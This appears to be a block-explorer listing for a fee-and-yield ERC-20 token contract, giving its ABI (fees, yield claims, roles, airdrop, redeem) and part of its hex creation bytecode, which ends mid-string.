[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"string","name":"name_","internalType":"string"},{"type":"string","name":"symbol_","internalType":"string"},{"type":"uint256","name":"totalSupply_","internalType":"uint256"},{"type":"uint256","name":"devAirDrop_","internalType":"uint256"},{"type":"address","name":"dexRouter_","internalType":"address"},{"type":"address","name":"rwdAddr_","internalType":"address"},{"type":"uint16[4]","name":"fees_","internalType":"uint16[4]"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"RoleAdminChanged","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32","indexed":true},{"type":"bytes32","name":"previousAdminRole","internalType":"bytes32","indexed":true},{"type":"bytes32","name":"newAdminRole","internalType":"bytes32","indexed":true}],"anonymous":false},{"type":"event","name":"RoleGranted","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32","indexed":true},{"type":"address","name":"account","internalType":"address","indexed":true},{"type":"address","name":"sender","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"RoleRevoked","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32","indexed":true},{"type":"address","name":"account","internalType":"address","indexed":true},{"type":"address","name":"sender","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"ADMIN_ROLE","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"DEFAULT_ADMIN_ROLE","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"SUPERUSER_ROLE","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"airdrop","inputs":[{"type":"tuple[]","name":"airdropList","internalType":"struct Airdroppable.AirdropInfo[]","components":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"ethers","internalType":"uint256"}]}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"claimYield","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint32","name":"","internalType":"uint32"}],"name":"currIndex","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Router02"}],"name":"dexRouter","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint16","name":"","internalType":"uint16"}],"name":"fees","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"getRoleAdmin","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getUnpaidYield","inputs":[{"type":"address","name":"wallet_","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"grantRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"hasRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isMyLP","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"lpBips","inputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Pair"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"lpFactor","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Pair"}],"name":"lps","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"maxGas","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"minWaitSec","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint96","name":"","internalType":"uint96"}],"name":"minYield","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"noFee","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"noYield","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"payoutEnabled","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Pair"}],"name":"plsV2LP","inputs":[]},{"type":"function","stateMutability":"payable","outputs":[],"name":"redeem","inputs":[{"type":"address","name":"tokenAddr_","internalType":"address"},{"type":"uint256","name":"amt_","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"revokeRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IERC20"}],"name":"rwdInst","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFees","inputs":[{"type":"uint16","name":"buyBurnFee_","internalType":"uint16"},{"type":"uint16","name":"buyYieldFee_","internalType":"uint16"},{"type":"uint16","name":"sellBurnFee_","internalType":"uint16"},{"type":"uint16","name":"sellYieldFee_","internalType":"uint16"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setLPYieldBips","inputs":[{"type":"address","name":"lpPair_","internalType":"contract IUniswapV2Pair"},{"type":"uint24","name":"newLPYieldBips_","internalType":"uint24"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setNoYield","inputs":[{"type":"address","name":"wallet_","internalType":"address"},{"type":"bool","name":"flag_","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setPayoutPolicy","inputs":[{"type":"bool","name":"enabled_","internalType":"bool"},{"type":"uint24","name":"minDurSec_","internalType":"uint24"},{"type":"uint80","name":"minYield_","internalType":"uint80"},{"type":"uint24","name":"gas_","internalType":"uint24"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setSwapParams","inputs":[{"type":"bool","name":"swapEnabled_","internalType":"bool"},{"type":"uint24","name":"lpFactor_","internalType":"uint24"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"shareYieldRay","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"supportsInterface","inputs":[{"type":"bytes4","name":"interfaceId","internalType":"bytes4"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"swapEnabled","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalPaid","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalShares","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalYield","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"walletClaimTS","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"walletIndex","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"share","internalType":"uint256"},{"type":"uint256","name":"yieldDebt","internalType":"uint256"},{"type":"uint256","name":"yieldPaid","internalType":"uint256"}],"name":"walletInfo","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"wallets","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"receive","stateMutability":"payable"}]
              

Contract Creation Code

0x60a06040526005805460ff19166012179055600e80546001600160a01b031990811673b4b51ae5c720ab73a3126873268a7d60a6c0785c17909155600f8054909116731dcbf345bc44696bbbed402367f7c62e524fe8b5179055601180546201010062ffff00199091161790556003610079906001610f36565b6001600160401b0381111561009057610090610f49565b6040519080825280602002602001820160405280156100b9578160200160208202803683370190505b5080516100ce91601991602090910190610e54565b50601a80547fffffffffffffff000000000000000000000000ffffffff00000000000000000016732386f26fc1000000000000000e100493e00007d0179055348015610118575f80fd5b5060405161562b38038061562b83398101604081905261013791611040565b73fb7103d7011dfa60c18c6961c5a38038d8048fe05f527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb56020527f3fef235bafca262b170eab3376a92cf5674998345105551ed0c5eb57d047a5a2805460ff19166001179055868660036101ac83826111b3565b5060046101b982826111b3565b50610225600780546001600160a01b031990811673fb7103d7011dfa60c18c6961c5a38038d8048fe01790915560088054821673f66acd0cf50e406196c42a010de46228e4081fed1790556009805490911673c57228e9b719f179ee403efcc240ac7b33ab82a9179055565b5061023190503361074d565b6001600160a01b03828116608052600d80546001600160a01b03191691851691821790556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa158015610290573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102b4919061126d565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ef8ef56f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610313573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610337919061126d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610381573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103a5919061126d565b600b80546001600160a01b038084166001600160a01b031992831681178455600c8054600181019091557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c7018054909316179091559054165f908152601260205260408120805462ffffff1916614e2017905590915082906004811061042d5761042d611286565b602002015160195f8154811061044557610445611286565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff160217905550816001600381111561048657610486610f0e565b6004811061049657610496611286565b602002015160196001815481106104af576104af611286565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff16021790555081600260038111156104f0576104f0610f0e565b6004811061050057610500611286565b6020020151601960028154811061051957610519611286565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508160038081111561055957610559610f0e565b6004811061056957610569611286565b6020020151601960038154811061058257610582611286565b5f918252602080832060108304018054600f9093166002026101000a61ffff81810219909416959093169290920293909317905530808252601583526040808320805460ff1990811660019081179092556001600160a01b038a811686528386208054831684179055601687527f0263c2b778d062355049effc2dece97bc6547ff8a88a3258daa512061c2153dd80548316841790557f84470d868565e66295b01f0f8d16268064caf09d2710e2900db1344d5dfacb65805483168417905593855282852080548216831790559286168452818420805484168217905560149094529091208054909116909117905561067b328761079e565b841561070d576007546106a39032906001600160a01b031661069e60028961129a565b610806565b6007546106c3906001600160a01b03166106be60028861129a565b6108a8565b506008546106e19032906001600160a01b031661069e60028961129a565b6008546106fc906001600160a01b03166106be60028861129a565b5061070b326106be87896112b9565b505b6107377fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217753261098e565b6107403261074d565b5050505050505050611363565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166107b0575f80fd5b8060065f8282546107c19190610f36565b90915550506001600160a01b0382165f818152600260209081526040808320805486019055518481525f8051602061560b833981519152910160405180910390a35050565b6001600160a01b038316610818575f80fd5b6001600160a01b03821661082a575f80fd5b6001600160a01b0383165f908152600260205260409020548181101561084e575f80fd5b6001600160a01b038085165f8181526002602052604080822086860390559286168082529083902080548601905591515f8051602061560b8339815191529061089a9086815260200190565b60405180910390a350505050565b6001600160a01b0382165f90815260136020526040812080548381146109855780156108df576108da85851515610a2b565b600192505b835f036108f4576108ef85610af8565b610957565b805f0361095757601080546001600160a01b0387165f818152601860205260408120839055600183018455929092527f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180546001600160a01b03191690911790555b8381601e5461096691906112b9565b6109709190610f36565b601e5583825561097f84610bfc565b60018301555b50505b92915050565b5f828152602081815260408083206001600160a01b038516845290915290205460ff16610a27575f828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556109e63390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6001600160a01b0382165f90815260136020526040812080549091819003610a535750505050565b5f610a5d85610c23565b90508015610af1578315610aa057608051610a82906001600160a01b03168683610c84565b80836002015f828254610a959190610f36565b90915550610ab79050565b80601b5f828254610ab19190610f36565b90915550505b80601d54610ac59190610f36565b601d556001600160a01b0385165f908152601760205260409020429055610aeb82610bfc565b60018401555b5050505050565b6001600160a01b0381165f90815260186020526040902054601054610b1e6001826112b9565b821015610bab575f6010610b336001846112b9565b81548110610b4357610b43611286565b5f91825260209091200154601080546001600160a01b039092169250829185908110610b7157610b71611286565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559290911681526018909152604090208290555b6010805480610bbc57610bbc6112cc565b5f828152602080822083015f1990810180546001600160a01b03191690559092019092556001600160a01b03949094168152601890935250506040812055565b601c545f906b033b2e3c9fd0803ce800000090610c1990846112e0565b610988919061129a565b6001600160a01b0381165f9081526013602052604081208054808303610c4c57505f9392505050565b5f610c5682610bfc565b6001840154909150808211610c7057505f95945050505050565b610c7a81836112b9565b9695505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b0390811663a9059cbb60e01b17909152610cda918591610cdf16565b505050565b5f610cf36001600160a01b03841683610d1b565b905080515f1480610d13575080806020019051810190610d1391906112f7565b610cda575f80fd5b6060610d6483835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610d6b60201b60201c565b9392505050565b606082471015610d79575f80fd5b5f80866001600160a01b03168587604051610d949190611316565b5f6040518083038185875af1925050503d805f8114610dce576040519150601f19603f3d011682016040523d82523d5f602084013e610dd3565b606091505b509092509050610de587838387610df2565b925050505b949350505050565b60608315610e1c5782515f03610e15576001600160a01b0385163b610e15575f80fd5b5081610dea565b610dea8383815115610e315781518083602001fd5b8060405162461bcd60e51b8152600401610e4b9190611331565b60405180910390fd5b828054828255905f5260205f2090600f01601090048101928215610eea579160200282015f5b83821115610eba57835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302610e7a565b8015610ee85782816101000a81549061ffff0219169055600201602081600101049283019260010302610eba565b505b50610ef6929150610efa565b5090565b5b80821115610ef6575f8155600101610efb565b634e487b7160e01b5f52602160045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b8082018082111561098857610988610f22565b634e487b7160e01b5f52604160045260245ffd5b604051608081016001600160401b0381118282101715610f7f57610f7f610f49565b60405290565b5f5b83811015610f9f578181015183820152602001610f87565b50505f910152565b5f82601f830112610fb6575f80fd5b81516001600160401b03811115610fcf57610fcf610f49565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610ffd57610ffd610f49565b604052818152838201602001851015611014575f80fd5b610dea826020830160208701610f85565b80516001600160a01b038116811461103b575f80fd5b919050565b5f805f805f805f610140888a031215611057575f80fd5b87516001600160401b0381111561106c575f80fd5b6110788a828b01610fa7565b60208a015190985090506001600160401b03811115611095575f80fd5b6110a18a828b01610fa7565b60408a015160608b0151919850965094506110c0905060808901611025565b92506110ce60a08901611025565b91508860df8901126110de575f80fd5b6110e6610f5d565b806101408a018b8111156110f8575f80fd5b60c08b015b8181101561112457805161ffff81168114611116575f80fd5b8452602093840193016110fd565b5050809250505092959891949750929550565b600181811c9082168061114b57607f821691505b60208210810361116957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610cda57805f5260205f20601f840160051c810160208510156111945750805b601f840160051c820191505b81811015610af1575f81556001016111a0565b81516001600160401b038111156111cc576111cc610f49565b6111e0816111da8454611137565b8461116f565b6020601f821160018114611212575f83156111fb5750848201515b5f19600385901b1c1916600184901b178455610af1565b5f84815260208120601f198516915b828110156112415787850151825560209485019460019092019101611221565b508482101561125e57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f6020828403121561127d575f80fd5b610d6482611025565b634e487b7160e01b5f52603260045260245ffd5b5f826112b457634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561098857610988610f22565b634e487b7160e01b5f52603160045260245ffd5b808202811582820484141761098857610988610f22565b5f60208284031215611307575f80fd5b81518015158114610d64575f80fd5b5f8251611327818460208701610f85565b9190910192915050565b602081525f825180602084015261134f816040850160208701610f85565b601f01601f19169190910160400192915050565b6080516142516113ba5f395f81816108c10152818161205b01528181612877015281816128fc01528181612a44015281816133170152818161335e015281816133a8015281816136b6015261387801526142515ff3fe60806040526004361061035d575f3560e01c8063631de583116101bd578063a1fb098e116100f2578063dcc1514711610092578063e173a7f51161006d578063e173a7f514610ba8578063e7b0f66614610bc7578063f2fde38b14610bdc578063f815a10a14610bfb575f80fd5b8063dcc1514714610b19578063dd62ed3e14610b38578063e0c9ffc614610b89575f80fd5b8063a9059cbb116100cd578063a9059cbb14610aa8578063aa7cddf514610ac7578063ae2e9bcb14610adc578063d547741f14610afa575f80fd5b8063a1fb098e14610a4b578063a217fddf14610a76578063a457c2d714610a89575f80fd5b80637ad71f721161015d5780638da5cb5b116101385780638da5cb5b1461098057806391d14854146109aa57806395d89b41146109f9578063a146a55b14610a0d575f80fd5b80637ad71f7214610916578063821cb340146109355780638b3ca60714610965575f80fd5b806370a082311161019857806370a082311461085b578063715018a61461089c5780637580e4c6146108b057806375b238fc146108e3575f80fd5b8063631de583146107ef57806365fb30ef1461081d5780636ddd17131461083c575f80fd5b8063313ce5671161029357806348fe2287116102335780634e2d4c8d1161020e5780634e2d4c8d1461071e578063500e68e91461074c578063501d815c146107a15780635be60591146107c3575f80fd5b806348fe2287146106615780634acc79ed146106b35780634b0432f2146106e5575f80fd5b80633a98ef391161026e5780633a98ef39146105ee5780633d78d41014610603578063406cf2291461062e57806342f7723f14610642575f80fd5b8063313ce5671461058557806336568abe146105b057806339509351146105cf575f80fd5b806318160ddd116102fe578063216fa4ed116102d9578063216fa4ed146104e657806323b872dd14610519578063248a9ca3146105385780632f2ff15d14610566575f80fd5b806318160ddd1461049d5780631835587e146104b25780631e9a6950146104d3575f80fd5b8063023627391161033957806302362739146103ed57806306fdde031461040c5780630758d9241461042d578063095ea7b31461047e575f80fd5b80622a20501461036857806301418205146103ab57806301ffc9a7146103ce575f80fd5b3661036457005b5f80fd5b348015610373575f80fd5b50610396610382366004613a17565b60156020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156103b6575f80fd5b506103c0601f5481565b6040519081526020016103a2565b3480156103d9575f80fd5b506103966103e8366004613a32565b610c1a565b3480156103f8575f80fd5b506103c0610407366004613a17565b610cb2565b348015610417575f80fd5b50610420610d20565b6040516103a29190613a93565b348015610438575f80fd5b50600d546104599073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016103a2565b348015610489575f80fd5b50610396610498366004613ae3565b610dac565b3480156104a8575f80fd5b506103c060065481565b3480156104bd575f80fd5b506104d16104cc366004613b2c565b610dc3565b005b6104d16104e1366004613ae3565b610e84565b3480156104f1575f80fd5b506103c07f756df11799aaceda4067614c35fe47ff6a75745e0c15792193c7bad56a1ad93281565b348015610524575f80fd5b50610396610533366004613b5f565b611003565b348015610543575f80fd5b506103c0610552366004613b9d565b5f9081526020819052604090206001015490565b348015610571575f80fd5b506104d1610580366004613bb4565b6110b4565b348015610590575f80fd5b5060055461059e9060ff1681565b60405160ff90911681526020016103a2565b3480156105bb575f80fd5b506104d16105ca366004613bb4565b6110d8565b3480156105da575f80fd5b506103966105e9366004613ae3565b611107565b3480156105f9575f80fd5b506103c0601e5481565b34801561060e575f80fd5b506103c061061d366004613a17565b60186020525f908152604090205481565b348015610639575f80fd5b506104d1611152565b34801561064d575f80fd5b506104d161065c366004613bf3565b61115f565b34801561066c575f80fd5b50601a54610696906d010000000000000000000000000090046bffffffffffffffffffffffff1681565b6040516bffffffffffffffffffffffff90911681526020016103a2565b3480156106be575f80fd5b506106d26106cd366004613b9d565b611311565b60405161ffff90911681526020016103a2565b3480156106f0575f80fd5b50601a5461070a906601000000000000900462ffffff1681565b60405162ffffff90911681526020016103a2565b348015610729575f80fd5b50610396610738366004613a17565b60166020525f908152604090205460ff1681565b348015610757575f80fd5b50610786610766366004613a17565b60136020525f908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016103a2565b3480156107ac575f80fd5b50601a5461070a906301000000900462ffffff1681565b3480156107ce575f80fd5b50600b546104599073ffffffffffffffffffffffffffffffffffffffff1681565b3480156107fa575f80fd5b50610396610809366004613a17565b60146020525f908152604090205460ff1681565b348015610828575f80fd5b506104d1610837366004613c44565b611346565b348015610847575f80fd5b506011546103969062010000900460ff1681565b348015610866575f80fd5b506103c0610875366004613a17565b73ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b3480156108a7575f80fd5b506104d16116ff565b3480156108bb575f80fd5b506104597f000000000000000000000000000000000000000000000000000000000000000081565b3480156108ee575f80fd5b506103c07fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b348015610921575f80fd5b50610459610930366004613b9d565b611710565b348015610940575f80fd5b5061070a61094f366004613a17565b60126020525f908152604090205462ffffff1681565b348015610970575f80fd5b50601a5461070a9062ffffff1681565b34801561098b575f80fd5b50600a5473ffffffffffffffffffffffffffffffffffffffff16610459565b3480156109b5575f80fd5b506103966109c4366004613bb4565b5f9182526020828152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b348015610a04575f80fd5b50610420611745565b348015610a18575f80fd5b50601a54610a36906901000000000000000000900463ffffffff1681565b60405163ffffffff90911681526020016103a2565b348015610a56575f80fd5b506103c0610a65366004613a17565b60176020525f908152604090205481565b348015610a81575f80fd5b506103c05f81565b348015610a94575f80fd5b50610396610aa3366004613ae3565b611752565b348015610ab3575f80fd5b50610396610ac2366004613ae3565b6117a9565b348015610ad2575f80fd5b506103c0601c5481565b348015610ae7575f80fd5b5060115461039690610100900460ff1681565b348015610b05575f80fd5b506104d1610b14366004613bb4565b6117b6565b348015610b24575f80fd5b50610459610b33366004613b9d565b6117da565b348015610b43575f80fd5b506103c0610b52366004613c60565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b348015610b94575f80fd5b506104d1610ba3366004613d31565b6117e9565b348015610bb3575f80fd5b506104d1610bc2366004613e01565b61184b565b348015610bd2575f80fd5b506103c0601d5481565b348015610be7575f80fd5b506104d1610bf6366004613a17565b6118ee565b348015610c06575f80fd5b506104d1610c15366004613e2d565b61191e565b5f7fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b000000000000000000000000000000000000000000000000000000001480610cac57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526013602052604081208054808303610ce857505f9392505050565b5f610cf282611a33565b6001840154909150808211610d0c57505f95945050505050565b610d168183613eb2565b9695505050505050565b60038054610d2d90613ec5565b80601f0160208091040260200160405190810160405280929190818152602001828054610d5990613ec5565b8015610da45780601f10610d7b57610100808354040283529160200191610da4565b820191905f5260205f20905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b5f33610db9818585611a5a565b5060019392505050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610ded81611b05565b601180548415801562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff90921691909117909155610e7f5760328262ffffff1610158015610e47575062030d408262ffffff1611155b610e4f575f80fd5b601a80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000001662ffffff84161790555b505050565b7f756df11799aaceda4067614c35fe47ff6a75745e0c15792193c7bad56a1ad932610eae81611b05565b73ffffffffffffffffffffffffffffffffffffffff8316610f235760405147905f90339083908381818185875af1925050503d805f8114610f0a576040519150601f19603f3d011682016040523d82523d5f602084013e610f0f565b606091505b5050905080610f1c575f80fd5b5050505050565b3073ffffffffffffffffffffffffffffffffffffffff841603610f44575f80fd5b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015283905f9073ffffffffffffffffffffffffffffffffffffffff8316906370a0823190602401602060405180830381865afa158015610fb0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fd49190613f16565b905080841115610fe2578093505b610f1c73ffffffffffffffffffffffffffffffffffffffff83163386611b0f565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526001602090815260408083203380855292528220547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461109d5783811015611066575f80fd5b73ffffffffffffffffffffffffffffffffffffffff8087165f90815260016020908152604080832093861683529290522084820390555b6110a8868686611b9c565b50600195945050505050565b5f828152602081905260409020600101546110ce81611b05565b610e7f8383611e51565b73ffffffffffffffffffffffffffffffffffffffff811633146110f9575f80fd5b6111038282611f3f565b5050565b335f81815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909190610db9908290869061114d908790613f2d565b611a5a565b61115d336001611ff4565b565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561118981611b05565b6101f48561ffff16111580156111a557506101f48461ffff1611155b80156111b757506101f48361ffff1611155b80156111c957506101f48261ffff1611155b6111d1575f80fd5b8460195f815481106111e5576111e5613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508360196001600381111561122857611228613f40565b8154811061123857611238613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508260196002600381111561127b5761127b613f40565b8154811061128b5761128b613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508160196003808111156112cd576112cd613f40565b815481106112dd576112dd613f6d565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055505050505050565b60198181548110611320575f80fd5b905f5260205f209060109182820401919006600202915054906101000a900461ffff1681565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561137081611b05565b61c3508262ffffff1610611382575f80fd5b8162ffffff165f036115c457600c545f5b81811015611575578473ffffffffffffffffffffffffffffffffffffffff16600c82815481106113c5576113c5613f6d565b5f9182526020909120015473fffffffffffffffffffffffff